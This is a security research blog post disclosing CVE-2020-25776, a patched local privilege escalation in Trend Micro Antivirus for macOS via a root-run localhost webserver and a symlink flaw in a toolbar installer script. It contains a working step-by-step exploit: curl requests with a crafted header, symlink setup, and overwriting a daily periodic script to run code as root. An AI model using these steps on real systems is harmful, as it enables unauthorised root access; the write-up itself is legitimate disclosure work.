2020-11-12 10:30 | Cees Elzinga

CVE-2020-25776 - Trend Micro Antivirus - Part 2

In this 3-part blog post we will take a deep-dive into Trend Micro Antivirus for macOS. In our normal blogs we often detail a single security issue. This time we dig deeper and look at multiple attack vectors against a single product:

Part 2: Attacks from a local attacker

In part 1 we described how Trend Micro Antivirus starts a webserver on This webserver is used as a form of inter-process-communication. It is used, for example, to check the status of the license. The webserver runs as root.

Reversing it shows that there is a function updateSetting() that calls an external shell script:

Trend Micro update settings

Further reversing shows that this function is called when a client requests the URL BrowserExt/updateSetting. The argument installerCmdAsInt as shown in the snippet is copied from the HTTP header TMTBR_EXTRA and is under full control by an attacker.

I initially looked for a shell injection here. Since the webserver is running as root this would be a quick privilege escalation. However, installerCmdToString() parses it as an integer and converts it to one of 8 options:

Trend Micro update settings options

This prevents any injection, but we can still execute the script as root by requesting the correct URL:

[email protected] ~ % curl -H 'TMTBR_EXTRA: 1' \

# end ups executing:
	'/Library/Application Support/TrendMicro/'\
	-i firefox 2>&1
	>> /var/log/TrendMicro/toolbar_installer.log


There is a vulnerability in script toolbar_installer.sh, specifically in the function install_firefox_toolbar(). The relevant code:

Trend Micro toolbar installer code

The vulnerability happens at (2), (3), (4), (5) and (6). The problem is that this script is running at root. But it trusts the data in the user’s home directory at (0).

For example, what would happen if USER_FIREFOX_BASE at (0) alreay exists and is a symlink somehwere else? The script will continue running and possibly overwriting/creating data with root privileges at (2), (3), (4), (5) and (6).


This sample exploit below gives the current user read/write privileges to /etc/periodic/daily/999.local and gets code execution as root:

To reach the vulnerable code we must pass the check at (1). This can be done by making sure the profiles.ini file does not exist.

If USER_FIREFOX_BASE is a symlink to another file, operations (2), (3), (4) and (5) all fail because the arguments are now incorrect. For example, if USER_FIREFOX_BASE is a symlink to /etc/periodic/daily/999.local, command 2 will expand to echo "$INI_FILE" > /etc/periodic/daily/999.local/profiles.ini. The destination file does not exist and this fails.

Only the command at (6) will execute correctly. This modifies the file and sets the owner to the current user. The bug therefore gives any user read/write privileges on any file he wants.

Sample exploitation:

# showing the users has no permissions by default
[email protected] ~ % ls -al /etc/periodic/daily/999.local
-rwxr-xr-x  2 root  wheel  712 Feb 29 07:44 /etc/periodic/daily/999.local
[email protected] ~ % echo "" >> /etc/periodic/daily/999.local
permission denied: /etc/periodic/daily/999.local

# triggering the bug
[email protected] ~ % rm -rf ~/Library/Application\ Support/Firefox
[email protected] ~ % ln /etc/periodic/daily/999.local ~/Library/Application\ Support/Firefox
[email protected] ~ % curl -H 'TMTBR_EXTRA: 100' 'localhost:37848/BrowserExt/command?type=updateSetting&name=aaaa&value=true'

# file is now owned by the current user
[email protected] ~ % ls -al /etc/periodic/daily/999.local
-rwxr-xr-x  2 user  staff  712 Feb 29 07:44 /etc/periodic/daily/999.local

# proving code execution as root
[email protected] ~ % cat /tmp/replacement.sh
id > /tmp/trendmicro.txt
sleep 9999999
[email protected] ~ % cp /tmp/replacement.sh /etc/periodic/daily/999.local

# now wait a day, or force daily script to speed it up
[email protected] ~ % sudo /usr/sbin/periodic daily # hangs on the sleep
[email protected] ~ % sudo cat /tmp/trendmicro.txt


This issue was reported to the Zero Day Initiative and is tracked under ZDI-20-1236. It got CVE-2020-25776, and was patched on 2020-10-01. Additional details are available in Trend Micro's advisory TMKA-09924.


In part 2 of this series we have shown how a local user can exploit an issue in Trend Micro Antivirus to get code execution as root.

In the next and final part we will look at mutiple security issues in a custom kernel extensions installed by Trend Micro.

Contact us

+45 5364 8009

[email protected]

Kigkurren 8N 4th floor, 2300 Copenhagen S

Consulting | Training | News

© 2020 Danish Cyber Defence A/S · Kigkurren 8N 4th floor · 2300 Copenhagen S · CVR 38871064